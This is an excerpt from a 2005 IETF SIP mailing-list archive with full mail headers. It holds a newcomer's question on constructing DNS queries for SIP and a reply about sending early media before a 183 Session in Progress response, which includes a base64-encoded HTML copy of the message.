domain. Anyway, how key communication is performed would be out of scope for SIP Identity. Best regards, Simone Leggio _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 07:11:23 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21813 for ; Tue, 1 Feb 2005 07:11:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvxAX-0007p9-RV for sip-web-archive@ietf.org; Tue, 01 Feb 2005 07:30:11 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvwmT-0003YR-7C; Tue, 01 Feb 2005 07:05:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvwm8-0003OR-3w for sip@megatron.ietf.org; Tue, 01 Feb 2005 07:04:56 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21208 for ; Tue, 1 Feb 2005 07:04:53 -0500 (EST) Received: from [61.95.224.109] (helo=blr.dgbmicro.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvx4F-0007dP-FY for sip@ietf.org; Tue, 01 Feb 2005 07:23:41 -0500 Received: from suganya ([192.168.10.78]) (authenticated bits=0) by blr.dgbmicro.com (8.12.8/8.12.8) with ESMTP id j11C4YE1025693 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Tue, 1 Feb 2005 17:34:40 +0530 From: "Suganya" To: Date: Wed, 2 Feb 2005 05:34:26 +0530 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-yoursite-MailScanner-Information: Please contact the ISP for more information X-yoursite-MailScanner: Found to be clean X-MailScanner-From: suganya@dgbmicro.com X-Spam-Score: 4.6 (++++) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Content-Transfer-Encoding: 7bit Subject: [Sip] sip and dns X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 4.6 (++++) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Content-Transfer-Encoding: 7bit Hi, I have the following doubts and need some help. a) In order to contruct DNS query, I googled-up and found RFCs 1034 and 1035. But it doesn't talk of SIP. Can those guidelines be used for constructing the DNS for SIP related queries? b) Where to send the DNS query from UAC? c) Unlike RFC 3261 which clearly tells how to construct invite, ack, etc... messages, RFC 3263 specifies no syntax or query format to construct the DNS query. Regards, B.Suganya _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 11:47:39 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA23543 for ; Tue, 1 Feb 2005 11:47:39 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw1Tx-00071N-3K for sip-web-archive@ietf.org; Tue, 01 Feb 2005 12:06:29 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw17Q-0004xm-DO; Tue, 01 Feb 2005 11:43:12 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cu3fa-00017E-MC for sip@megatron.ietf.org; Thu, 27 Jan 2005 02:02:22 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA10717 for ; Thu, 27 Jan 2005 02:02:19 -0500 (EST) Received: from motgate6.mot.com ([144.189.100.106]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cu3wd-0001IL-7N for sip@ietf.org; Thu, 27 Jan 2005 02:19:59 -0500 Received: from il06exr03.mot.com (il06exr03.mot.com [129.188.137.133]) by motgate6.mot.com (Motorola/Motgate6) with ESMTP id j0R72Hwb007352 for ; Thu, 27 Jan 2005 00:02:18 -0700 (MST) Received: from zin24exm01.ap.mot.com (zin24exm01.ap.mot.com [10.232.25.1]) by il06exr03.mot.com (Motorola/il06exr03) with ESMTP id j0R72Eiu021536 for ; Thu, 27 Jan 2005 01:02:16 -0600 Received: by zin24exm01.ap.mot.com with Internet Mail Service (5.5.2657.72) id ; Thu, 27 Jan 2005 12:32:09 +0530 Message-ID: <772BCEF88A1DD91191F80011856715F31F545D@zin24exm01.ap.mot.com> From: Joseph Chooracken John-A19500 To: "'Bhattacharyya, Dipankar'" , sip@ietf.org Subject: RE: [Sip] Query on Early Media ( 183 Session in Progress ) Date: Thu, 27 Jan 2005 12:32:02 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) X-Spam-Score: 2.0 (++) X-Scan-Signature: a743e34ab8eb08259de9a7307caed594 X-Mailman-Approved-At: Tue, 01 Feb 2005 11:43:10 -0500 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0708035313==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 2.1 (++) X-Scan-Signature: 72dbfff5c6b8ad2b1b727c13be042129 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============0708035313== Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C5043E.1A896002" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C5043E.1A896002 Content-Type: text/plain Dipankar, A dialog/Session is not established unless a 2xx response is sent back by the UAS [Gateway]. Hence no media is sent out before 183 session in progress. Thanks, John -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org]On Behalf Of Bhattacharyya, Dipankar Sent: Thursday, January 27, 2005 5:27 AM To: sip@ietf.org Subject: [Sip] Query on Early Media ( 183 Session in Progress ) Hi All, This is query regarding Early Media ( 183 Session in Progress ) . Can an Implementation ( Gateway ) send Media before sending out the 183 Session in Progress over UDP Transport in response to a INVITE ? Is there any RFC/draft on the details of 183 Session in progress and Media handling ? Thanks in advance . Best Regards, Dipankar Bhattacharyya Systems Engineer Communication Infrastructure Group p | 972.401.4112 f | 972.596.4909 m | 214.766.1479 email | dbhattacharyya@empirix.com 6100 Ohio Drive , Suite 2011 | Plano, TX | 75024 . E M P I R I X www.empirix.com ------_=_NextPart_001_01C5043E.1A896002 Content-Type: text/html Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxIVE1MIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy9UUi9SRUMtaHRtbDQwIiB4bWxu czpvID0gDQoidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlIiB4bWxuczp3 ID0gDQoidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6d29yZCIgeG1sbnM6c3QxID0g DQoidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzIj48SEVBRD4NCjxN RVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIgQ09OVEVOVD0idGV4dC9odG1sOyBjaGFyc2V0 PVVTLUFTQ0lJIj4NCg0KDQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNi4wMC4yODAwLjE0NzkiIG5h bWU9R0VORVJBVE9SPjxvOlNtYXJ0VGFnVHlwZSANCm5hbWU9IlN0YXRlIiANCm5hbWVzcGFjZXVy aT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzIj48L286U21hcnRU YWdUeXBlPjxvOlNtYXJ0VGFnVHlwZSANCm5hbWU9IkNpdHkiIG5hbWVzcGFjZXVyaT0idXJuOnNj aGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzIiANCmRvd25sb2FkdXJsPSJodHRw Oi8vd3d3LjVpYW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpzbWFydHRhZ3MiPjwvbzpTbWFydFRh Z1R5cGU+PG86U21hcnRUYWdUeXBlIA0KbmFtZT0icGxhY2UiIG5hbWVzcGFjZXVyaT0idXJuOnNj aGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzIiANCmRvd25sb2FkdXJsPSJodHRw Oi8vd3d3LjVpYW50bGF2YWxhbXAuY29tLyI+PC9vOlNtYXJ0VGFnVHlwZT48bzpTbWFydFRhZ1R5 cGUgDQpuYW1lPSJTdHJlZXQiIA0KbmFtZXNwYWNldXJpPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQt Y29tOm9mZmljZTpzbWFydHRhZ3MiPjwvbzpTbWFydFRhZ1R5cGU+PG86U21hcnRUYWdUeXBlIA0K bmFtZT0iYWRkcmVzcyIgDQpuYW1lc3BhY2V1cmk9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206 b2ZmaWNlOnNtYXJ0dGFncyI+PC9vOlNtYXJ0VGFnVHlwZT48IS0tW2lmICFtc29dPg0KPFNUWUxF PnN0MVw6KiB7DQoJQkVIQVZJT1I6IHVybCgjZGVmYXVsdCNpZW9vdWkpDQp9DQo8L1NUWUxFPg0K PCFbZW5kaWZdLS0+DQo8U1RZTEU+QHBhZ2UgU2VjdGlvbjEge3NpemU6IDguNWluIDExLjBpbjsg bWFyZ2luOiAxLjBpbiAxLjI1aW4gMS4waW4gMS4yNWluOyB9DQpQLk1zb05vcm1hbCB7DQoJRk9O VC1TSVpFOiAxMnB0OyBNQVJHSU46IDBpbiAwaW4gMHB0OyBGT05ULUZBTUlMWTogIlRpbWVzIE5l dyBSb21hbiINCn0NCkxJLk1zb05vcm1hbCB7DQoJRk9OVC1TSVpFOiAxMnB0OyBNQVJHSU46IDBp biAwaW4gMHB0OyBGT05ULUZBTUlMWTogIlRpbWVzIE5ldyBSb21hbiINCn0NCkRJVi5Nc29Ob3Jt YWwgew0KCUZPTlQtU0laRTogMTJwdDsgTUFSR0lOOiAwaW4gMGluIDBwdDsgRk9OVC1GQU1JTFk6 ICJUaW1lcyBOZXcgUm9tYW4iDQp9DQpBOmxpbmsgew0KCUNPTE9SOiBibHVlOyBURVhULURFQ09S QVRJT046IHVuZGVybGluZQ0KfQ0KU1BBTi5Nc29IeXBlcmxpbmsgew0KCUNPTE9SOiBibHVlOyBU RVhULURFQ09SQVRJT046IHVuZGVybGluZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogcHVycGxl OyBURVhULURFQ09SQVRJT046IHVuZGVybGluZQ0KfQ0KU1BBTi5Nc29IeXBlcmxpbmtGb2xsb3dl ZCB7DQoJQ09MT1I6IHB1cnBsZTsgVEVYVC1ERUNPUkFUSU9OOiB1bmRlcmxpbmUNCn0NClAgew0K CUZPTlQtU0laRTogMTJwdDsgTUFSR0lOLUxFRlQ6IDBpbjsgTUFSR0lOLVJJR0hUOiAwaW47IEZP TlQtRkFNSUxZOiAiVGltZXMgTmV3IFJvbWFuIjsgbXNvLW1hcmdpbi10b3AtYWx0OiBhdXRvOyBt c28tbWFyZ2luLWJvdHRvbS1hbHQ6IGF1dG8NCn0NClNQQU4uRW1haWxTdHlsZTE3IHsNCglDT0xP Ujogd2luZG93dGV4dDsgRk9OVC1GQU1JTFk6IEFyaWFsOyBtc28tc3R5bGUtdHlwZTogcGVyc29u YWwtY29tcG9zZQ0KfQ0KRElWLlNlY3Rpb24xIHsNCglwYWdlOiBTZWN0aW9uMQ0KfQ0KPC9TVFlM RT4NCjwvSEVBRD4NCjxCT0RZIGxhbmc9RU4tVVMgdkxpbms9cHVycGxlIGxpbms9Ymx1ZT4NCjxE SVY+PFNQQU4gY2xhc3M9MzQzMjI1ODA2LTI3MDEyMDA1PjxGT05UIGZhY2U9QXJpYWwgY29sb3I9 IzAwMDBmZiANCnNpemU9Mj5EaXBhbmthciw8L0ZPTlQ+PC9TUEFOPjwvRElWPg0KPERJVj48U1BB TiBjbGFzcz0zNDMyMjU4MDYtMjcwMTIwMDU+PEZPTlQgZmFjZT1BcmlhbCBjb2xvcj0jMDAwMGZm IA0Kc2l6ZT0yPjwvRk9OVD48L1NQQU4+Jm5ic3A7PC9ESVY+DQo8RElWPjxTUEFOIGNsYXNzPTM0 MzIyNTgwNi0yNzAxMjAwNT48Rk9OVCBmYWNlPUFyaWFsIGNvbG9yPSMwMDAwZmYgDQpzaXplPTI+ Jm5ic3A7Jm5ic3A7IEEgZGlhbG9nL1Nlc3Npb24gaXMgbm90IGVzdGFibGlzaGVkIHVubGVzcyBh IDJ4eCByZXNwb25zZSBpcyANCnNlbnQgYmFjayBieSB0aGUgVUFTIFtHYXRld2F5XS4gSGVuY2Ug bm8gbWVkaWEgaXMgc2VudCBvdXQgYmVmb3JlIDE4MyBzZXNzaW9uIGluIA0KcHJvZ3Jlc3MuPC9G T05UPjwvU1BBTj48L0RJVj4NCjxESVY+PFNQQU4gY2xhc3M9MzQzMjI1ODA2LTI3MDEyMDA1PjxG T05UIGZhY2U9QXJpYWwgY29sb3I9IzAwMDBmZiANCnNpemU9Mj48L0ZPTlQ+PC9TUEFOPiZuYnNw OzwvRElWPg0KPERJVj48U1BBTiBjbGFzcz0zNDMyMjU4MDYtMjcwMTIwMDU+PEZPTlQgZmFjZT1B cmlhbCBjb2xvcj0jMDAwMGZmIA0Kc2l6ZT0yPlRoYW5rcyw8L0ZPTlQ+PC9TUEFOPjwvRElWPg0K PERJVj48U1BBTiBjbGFzcz0zNDMyMjU4MDYtMjcwMTIwMDU+PEZPTlQgZmFjZT1BcmlhbCBjb2xv cj0jMDAwMGZmIA0Kc2l6ZT0yPkpvaG48L0ZPTlQ+PC9TUEFOPjwvRElWPg0KPERJVj48U1BBTiBj bGFzcz0zNDMyMjU4MDYtMjcwMTIwMDU+PEZPTlQgZmFjZT1BcmlhbCBjb2xvcj0jMDAwMGZmIA0K c2l6ZT0yPjwvRk9OVD48L1NQQU4+Jm5ic3A7PC9ESVY+DQo8RElWPjxTUEFOIGNsYXNzPTM0MzIy NTgwNi0yNzAxMjAwNT48Rk9OVCBmYWNlPUFyaWFsIGNvbG9yPSMwMDAwZmYgDQpzaXplPTI+PC9G T05UPjwvU1BBTj4mbmJzcDs8L0RJVj4NCjxCTE9DS1FVT1RFIGRpcj1sdHIgc3R5bGU9Ik1BUkdJ Ti1SSUdIVDogMHB4Ij4NCiAgPERJViBjbGFzcz1PdXRsb29rTWVzc2FnZUhlYWRlciBkaXI9bHRy IGFsaWduPWxlZnQ+PEZPTlQgZmFjZT1UYWhvbWEgDQogIHNpemU9Mj4tLS0tLU9yaWdpbmFsIE1l c3NhZ2UtLS0tLTxCUj48Qj5Gcm9tOjwvQj4gc2lwLWJvdW5jZXNAaWV0Zi5vcmcgDQogIFttYWls dG86c2lwLWJvdW5jZXNAaWV0Zi5vcmddPEI+T24gQmVoYWxmIE9mIDwvQj5CaGF0dGFjaGFyeXlh LCANCiAgRGlwYW5rYXI8QlI+PEI+U2VudDo8L0I+IFRodXJzZGF5LCBKYW51YXJ5IDI3LCAyMDA1 IDU6MjcgQU08QlI+PEI+VG86PC9CPiANCiAgc2lwQGlldGYub3JnPEJSPjxCPlN1YmplY3Q6PC9C PiBbU2lwXSBRdWVyeSBvbiBFYXJseSBNZWRpYSAoIDE4MyBTZXNzaW9uIGluIA0KICBQcm9ncmVz cyApIDxCUj48QlI+PC9GT05UPjwvRElWPg0KICA8RElWIGNsYXNzPVNlY3Rpb24xPg0KICA8UCBj bGFzcz1Nc29Ob3JtYWw+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+PFNQQU4gDQogIHN0eWxlPSJG T05ULVNJWkU6IDEwcHQ7IEZPTlQtRkFNSUxZOiBBcmlhbCI+SGkgDQogIEFsbCw8bzpwPjwvbzpw PjwvU1BBTj48L0ZPTlQ+PC9QPg0KICA8UCBjbGFzcz1Nc29Ob3JtYWw+PEZPTlQgZmFjZT1Bcmlh bCBzaXplPTI+PFNQQU4gDQogIHN0eWxlPSJGT05ULVNJWkU6IDEwcHQ7IEZPTlQtRkFNSUxZOiBB cmlhbCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IFRoaXMgaXMgcXVlcnkgDQogIHJlZ2FyZGluZyBFYXJs eSBNZWRpYSAoIDE4MyBTZXNzaW9uIGluIFByb2dyZXNzICkgDQogIC48bzpwPjwvbzpwPjwvU1BB Tj48L0ZPTlQ+PC9QPg0KICA8UCBjbGFzcz1Nc29Ob3JtYWw+PEZPTlQgZmFjZT1BcmlhbCBzaXpl PTI+PFNQQU4gDQogIHN0eWxlPSJGT05ULVNJWkU6IDEwcHQ7IEZPTlQtRkFNSUxZOiBBcmlhbCI+ Q2FuIGFuICZuYnNwO0ltcGxlbWVudGF0aW9uICggDQogIEdhdGV3YXkgKSBzZW5kIE1lZGlhIGJl Zm9yZSBzZW5kaW5nIG91dCB0aGUgMTgzIFNlc3Npb24gaW4gUHJvZ3Jlc3Mgb3ZlciBVRFAgDQog IFRyYW5zcG9ydCBpbiByZXNwb25zZSB0byBhIElOVklURSAmbmJzcDsmbmJzcDs/IElzIHRoZXJl IGFueSBSRkMvZHJhZnQgb24gdGhlIA0KICBkZXRhaWxzIG9mIDE4MyBTZXNzaW9uIGluIHByb2dy ZXNzIGFuZCBNZWRpYSBoYW5kbGluZyA/IA0KICA8bzpwPjwvbzpwPjwvU1BBTj48L0ZPTlQ+PC9Q Pg0KICA8UCBjbGFzcz1Nc29Ob3JtYWw+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+PFNQQU4gDQog IHN0eWxlPSJGT05ULVNJWkU6IDEwcHQ7IEZPTlQtRkFNSUxZOiBBcmlhbCI+VGhhbmtzIGluIGFk dmFuY2UgDQogIC48bzpwPjwvbzpwPjwvU1BBTj48L0ZPTlQ+PC9QPg0KICA8UCBjbGFzcz1Nc29O b3JtYWw+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+PFNQQU4gDQogIHN0eWxlPSJGT05ULVNJWkU6 IDEwcHQ7IEZPTlQtRkFNSUxZOiBBcmlhbCI+QmVzdCBSZWdhcmRzLCANCiAgJm5ic3A7Jm5ic3A7 PG86cD48L286cD48L1NQQU4+PC9GT05UPjwvUD4NCiAgPFAgY2xhc3M9TXNvTm9ybWFsPjxGT05U IGZhY2U9QXJpYWwgc2l6ZT0yPjxTUEFOIA0KICBzdHlsZT0iRk9OVC1TSVpFOiAxMHB0OyBGT05U LUZBTUlMWTogQXJpYWwiPjxvOnA+Jm5ic3A7PC9vOnA+PC9TUEFOPjwvRk9OVD48L1A+DQogIDxQ PjxCPjxGT05UIGZhY2U9IlRpbWVzIE5ldyBSb21hbiIgY29sb3I9bmF2eSBzaXplPTI+PFNQQU4g DQogIHN0eWxlPSJGT05ULVdFSUdIVDogYm9sZDsgRk9OVC1TSVpFOiAxMHB0OyBDT0xPUjogbmF2 eSI+RGlwYW5rYXIgQmhhdHRhY2hhcnl5YSANCiAgPEJSPjwvU1BBTj48L0ZPTlQ+PC9CPjxGT05U IGNvbG9yPW5hdnkgc2l6ZT0yPjxTUEFOIA0KICBzdHlsZT0iRk9OVC1TSVpFOiAxMHB0OyBDT0xP UjogbmF2eSI+U3lzdGVtcyBFbmdpbmVlciA8QlI+Q29tbXVuaWNhdGlvbiANCiAgSW5mcmFzdHJ1 Y3R1cmUgR3JvdXA8L1NQQU4+PC9GT05UPjxvOnA+PC9vOnA+PC9QPg0KICA8UD48Qj48Rk9OVCBm YWNlPSJUaW1lcyBOZXcgUm9tYW4iIGNvbG9yPXJlZCBzaXplPTI+PFNQQU4gDQogIHN0eWxlPSJG T05ULVdFSUdIVDogYm9sZDsgRk9OVC1TSVpFOiAxMHB0OyBDT0xPUjogcmVkIj5wIHwmbmJzcDsg DQogIDwvU1BBTj48L0ZPTlQ+PC9CPjxCPjxGT05UIGNvbG9yPW5hdnkgc2l6ZT0yPjxTUEFOIA0K ICBzdHlsZT0iRk9OVC1XRUlHSFQ6IGJvbGQ7IEZPTlQtU0laRTogMTBwdDsgQ09MT1I6IG5hdnki Pjk3Mi40MDEuNDExMjwvU1BBTj48L0ZPTlQ+PC9CPjxCPjxGT05UIA0KICBjb2xvcj1yZWQgc2l6 ZT0yPjxTUEFOIA0KICBzdHlsZT0iRk9OVC1XRUlHSFQ6IGJvbGQ7IEZPTlQtU0laRTogMTBwdDsg Q09MT1I6IHJlZCI+Jm5ic3A7ZiANCiAgfDwvU1BBTj48L0ZPTlQ+PC9CPjxCPjxGT05UIGNvbG9y PW5hdnkgc2l6ZT0yPjxTUEFOIA0KICBzdHlsZT0iRk9OVC1XRUlHSFQ6IGJvbGQ7IEZPTlQtU0la RTogMTBwdDsgQ09MT1I6IG5hdnkiPiA5NzIuNTk2LjQ5MDkgDQogIDwvU1BBTj48L0ZPTlQ+PC9C PjxCPjxGT05UIGNvbG9yPXJlZCBzaXplPTI+PFNQQU4gDQogIHN0eWxlPSJGT05ULVdFSUdIVDog Ym9sZDsgRk9OVC1TSVpFOiAxMHB0OyBDT0xPUjogcmVkIj5tIA0KICB8PC9TUEFOPjwvRk9OVD48 L0I+PEI+PEZPTlQgY29sb3I9bmF2eSBzaXplPTI+PFNQQU4gDQogIHN0eWxlPSJGT05ULVdFSUdI VDogYm9sZDsgRk9OVC1TSVpFOiAxMHB0OyBDT0xPUjogbmF2eSI+IA0KICAyMTQuNzY2LjE0Nzk8 L1NQQU4+PC9GT05UPjwvQj48Rk9OVCBjb2xvcj1uYXZ5IHNpemU9Mj48U1BBTiANCiAgc3R5bGU9 IkZPTlQtU0laRTogMTBwdDsgQ09MT1I6IG5hdnkiPjxCUj48L1NQQU4+PC9GT05UPjxCPjxGT05U IGNvbG9yPXJlZCANCiAgc2l6ZT0yPjxTUEFOIHN0eWxlPSJGT05ULVdFSUdIVDogYm9sZDsgRk9O VC1TSVpFOiAxMHB0OyBDT0xPUjogcmVkIj5lbWFpbCANCiAgfDwvU1BBTj48L0ZPTlQ+PC9CPjxG T05UIGNvbG9yPW5hdnkgc2l6ZT0yPjxTUEFOIA0KICBzdHlsZT0iRk9OVC1TSVpFOiAxMHB0OyBD T0xPUjogbmF2eSI+IDxBIA0KICB0aXRsZT1tYWlsdG86ZGJoYXR0YWNoYXJ5eWFAZW1waXJpeC5j b20gDQogIGhyZWY9Im1haWx0bzpkYmhhdHRhY2hhcnl5YUBlbXBpcml4LmNvbSI+ZGJoYXR0YWNo YXJ5eWFAZW1waXJpeC5jb208L0E+PC9TUEFOPjwvRk9OVD48Rk9OVCANCiAgY29sb3I9bmF2eT48 U1BBTiBzdHlsZT0iQ09MT1I6IG5hdnkiPjxCUj48L1NQQU4+PC9GT05UPjxzdDE6U3RyZWV0IA0K ICB3OnN0PSJvbiI+PHN0MTphZGRyZXNzIHc6c3Q9Im9uIj48Rk9OVCBjb2xvcj1uYXZ5IHNpemU9 Mj48U1BBTiANCiAgc3R5bGU9IkZPTlQtU0laRTogMTBwdDsgQ09MT1I6IG5hdnkiPjYxMDAgT2hp byBEcml2ZSAsIFN1aXRlIA0KICAyMDExPC9TUEFOPjwvRk9OVD48L3N0MTphZGRyZXNzPjwvc3Qx OlN0cmVldD48Rk9OVCBjb2xvcj1uYXZ5IHNpemU9Mj48U1BBTiANCiAgc3R5bGU9IkZPTlQtU0la RTogMTBwdDsgQ09MT1I6IG5hdnkiPiA8L1NQQU4+PC9GT05UPjxCPjxGT05UIGNvbG9yPXJlZCAN CiAgc2l6ZT0yPjxTUEFOIA0KICBzdHlsZT0iRk9OVC1XRUlHSFQ6IGJvbGQ7IEZPTlQtU0laRTog MTBwdDsgQ09MT1I6IHJlZCI+fDwvU1BBTj48L0ZPTlQ+PC9CPjxGT05UIA0KICBjb2xvcj1uYXZ5 IHNpemU9Mj48U1BBTiANCiAgc3R5bGU9IkZPTlQtU0laRTogMTBwdDsgQ09MT1I6IG5hdnkiPiZu YnNwOyZuYnNwOyZuYnNwOzxzdDE6cGxhY2UgDQogIHc6c3Q9Im9uIj48c3QxOkNpdHkgdzpzdD0i b24iPlBsYW5vPC9zdDE6Q2l0eT4sJm5ic3A7PHN0MTpTdGF0ZSANCiAgdzpzdD0ib24iPlRYPC9z dDE6U3RhdGU+PC9zdDE6cGxhY2U+ICZuYnNwOzwvU1BBTj48L0ZPTlQ+PEI+PEZPTlQgY29sb3I9 cmVkIA0KICBzaXplPTI+PFNQQU4gDQogIHN0eWxlPSJGT05ULVdFSUdIVDogYm9sZDsgRk9OVC1T SVpFOiAxMHB0OyBDT0xPUjogcmVkIj58PC9TUEFOPjwvRk9OVD48L0I+PEZPTlQgDQogIGNvbG9y PXJlZCBzaXplPTI+PFNQQU4gDQogIHN0eWxlPSJGT05ULVNJWkU6IDEwcHQ7IENPTE9SOiByZWQi PiZuYnNwOyZuYnNwOzwvU1BBTj48L0ZPTlQ+PEZPTlQgY29sb3I9bmF2eSANCiAgc2l6ZT0yPjxT UEFOIHN0eWxlPSJGT05ULVNJWkU6IDEwcHQ7IENPTE9SOiBuYXZ5Ij43NTAyNCANCiAgLjwvU1BB Tj48L0ZPTlQ+PG86cD48L286cD48L1A+DQogIDxQPjxCPjxGT05UIGZhY2U9IlRpbWVzIE5ldyBS b21hbiIgY29sb3I9bmF2eSBzaXplPTI+PFNQQU4gDQogIHN0eWxlPSJGT05ULVdFSUdIVDogYm9s ZDsgRk9OVC1TSVpFOiAxMHB0OyBDT0xPUjogbmF2eSI+RSBNIFAgSSBSIEkgWCANCiAgPEJSPjwv U1BBTj48L0ZPTlQ+PC9CPjxBIA0KICB0aXRsZT1maWxlOi8vL0M6L0RvY3VtZW50cyUyMGFuZCUy MFNldHRpbmdzL3JrbmF1Yi9BcHBsaWNhdGlvbiUyMERhdGEvTWljcm9zb2Z0L1NpZ25hdHVyZXMv d3d3LmVtcGlyaXguY29tIA0KICBocmVmPSJmaWxlOi8vL0M6XERvY3VtZW50cyUyMGFuZCUyMFNl dHRpbmdzXHJrbmF1YlxBcHBsaWNhdGlvbiUyMERhdGFcTWljcm9zb2Z0XFNpZ25hdHVyZXNcd3d3 LmVtcGlyaXguY29tIj48Rk9OVCANCiAgdGl0bGU9ZmlsZTovLy9DOi9Eb2N1bWVudHMlMjBhbmQl MjBTZXR0aW5ncy9ya25hdWIvQXBwbGljYXRpb24lMjBEYXRhL01pY3Jvc29mdC9TaWduYXR1cmVz L3d3dy5lbXBpcml4LmNvbSANCiAgc2l6ZT0yPjxTUEFOIA0KICB0aXRsZT1maWxlOi8vL0M6L0Rv Y3VtZW50cyUyMGFuZCUyMFNldHRpbmdzL3JrbmF1Yi9BcHBsaWNhdGlvbiUyMERhdGEvTWljcm9z b2Z0L1NpZ25hdHVyZXMvd3d3LmVtcGlyaXguY29tPjxTUEFOIA0KICBzdHlsZT0iRk9OVC1TSVpF OiAxMHB0Ij53d3cuZW1waXJpeC5jb208L1NQQU4+PC9TUEFOPjwvRk9OVD48L0E+PG86cD48L286 cD48L1A+DQogIDxQIGNsYXNzPU1zb05vcm1hbCANCiAgc3R5bGU9Im1zby1tYXJnaW4tdG9wLWFs dDogYXV0bzsgbXNvLW1hcmdpbi1ib3R0b20tYWx0OiBhdXRvIj48Rk9OVCANCiAgZmFjZT0iVGlt ZXMgTmV3IFJvbWFuIiBzaXplPTM+PFNQQU4gDQogIHN0eWxlPSJGT05ULVNJWkU6IDEycHQiPiZu YnNwOzwvU1BBTj48bzpwPjwvbzpwPjwvRk9OVD48L1A+DQogIDxQIGNsYXNzPU1zb05vcm1hbD48 Rk9OVCBmYWNlPSJUaW1lcyBOZXcgUm9tYW4iIHNpemU9Mz48U1BBTiANCiAgc3R5bGU9IkZPTlQt U0laRTogMTJwdCI+PG86cD4mbmJzcDs8L286cD48L1NQQU4+PC9GT05UPjwvUD48L0RJVj48L0JM T0NLUVVPVEU+PC9CT0RZPjwvSFRNTD4NCg== ------_=_NextPart_001_01C5043E.1A896002-- --===============0708035313== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0708035313==-- From sip-bounces@ietf.org Tue Feb 1 14:31:53 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA09679 